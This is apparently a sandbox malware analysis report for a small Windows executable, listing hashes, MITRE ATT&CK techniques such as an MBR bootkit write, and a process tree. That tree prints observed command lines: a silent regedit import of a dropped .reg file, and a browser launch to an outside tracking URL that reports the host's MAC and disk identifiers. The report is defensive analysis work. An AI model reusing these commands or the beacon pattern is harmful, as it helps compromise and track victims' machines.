ce30dfaf16d2f86796591e4db99a806d44dec4f72ad6ffb35d01515bdff56a90

General

Target
50b56685d8844789eb96b8c755221805_JaffaCakes118.exe
Size 16KB
Sample241017-e6qpcswbkk
SHA256 ce30dfaf16d2f86796591e4db99a806d44dec4f72ad6ffb35d01515bdff56a90
MD5 50b56685d8844789eb96b8c755221805
SHA1 920ec82334904668707faeeca146ccbb5771cb40
SHA512 f478e217ca086a0db7a749e9acd4b3822d7cbe266618721d5d0c567676a91bf085dbc0492c728f0ef5d21513f2f5d49e631e4373843e92f5fead7c939c74d771
SSDEEP 384:5gK+aczPVLXOjtYel7ZZH9Ej3MoYn8N1YmnrtFyxAc:5I/1Ojt1nuYGYYtFK7
MD5 SHA1 SHA512 SSDEEP

Score

6^/10

bootkit discovery persistence

Malware Config

Signatures

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Internet Explorer settings 1 TTPs 13 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{F43F63A9-8C40-11EF-9361-CE95CE932DF6} = "0"	iexplore.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\NoActivateHandler	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application\ = "Folders"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic\ = "AppProperties"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ExplorerFlags = "18"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec\ = "[]"	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\BrowserFlags = "16"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ = "[ViewFolder(\"%l\", %I, %S)]"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command\ = "%SystemRoot%\\Explorer.exe /idlist,%I,%L"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application	regedit.exe

Runs .reg file with regedit 1 IoCs

pid	Process
3308	regedit.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1512	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe
1512	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1608	iexplore.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1512	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe
1608	iexplore.exe
1608	iexplore.exe
4200	IEXPLORE.EXE
4200	IEXPLORE.EXE
4200	IEXPLORE.EXE
4200	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1512 wrote to memory of 5060	1512	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe	84
PID 1512 wrote to memory of 5060	1512	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe	84
PID 1512 wrote to memory of 5060	1512	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe	84
PID 1512 wrote to memory of 1608	1512	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe	86
PID 1512 wrote to memory of 1608	1512	50b56685d8844789eb96b8c755221805_JaffaCakes118.exe	86
PID 5060 wrote to memory of 3308	5060	cmd.exe	87
PID 5060 wrote to memory of 3308	5060	cmd.exe	87
PID 5060 wrote to memory of 3308	5060	cmd.exe	87
PID 1608 wrote to memory of 4200	1608	iexplore.exe	88
PID 1608 wrote to memory of 4200	1608	iexplore.exe	88
PID 1608 wrote to memory of 4200	1608	iexplore.exe	88

C:\Users\Admin\AppData\Local\Temp\50b56685d8844789eb96b8c755221805_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\50b56685d8844789eb96b8c755221805_JaffaCakes118.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1512
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Runs .reg file with regedit
    PID:3308
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=CE95CE932DF6&Hard=232138804165&ClientType=Home&Process=86&UserID=0017&Authen=828-727
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1608
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1608 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Pre-OS Boot

1

T1542

Bootkit

1

T1542.003

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Pre-OS Boot

1

T1542

Bootkit

1

T1542.003

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

getback.reg

Path C:\Users\Admin\AppData\Local\Temp\getback.reg
Size 1KB
SHA256 5d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e
MD5 626e2d76f5c328d57a3eff6a7f94d129
SHA1 210fd33fa005775b30a8fd40a065a2e788934216
SHA512 629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1
MD5 SHA1 SHA512

Submit Download

memory/1512-0-0x0000000000400000-0x000000000040D000-memory.dmp

Download

memory/1512-1-0x00000000001C0000-0x00000000001C2000-memory.dmp

Download

memory/1512-14-0x0000000000400000-0x000000000040D000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads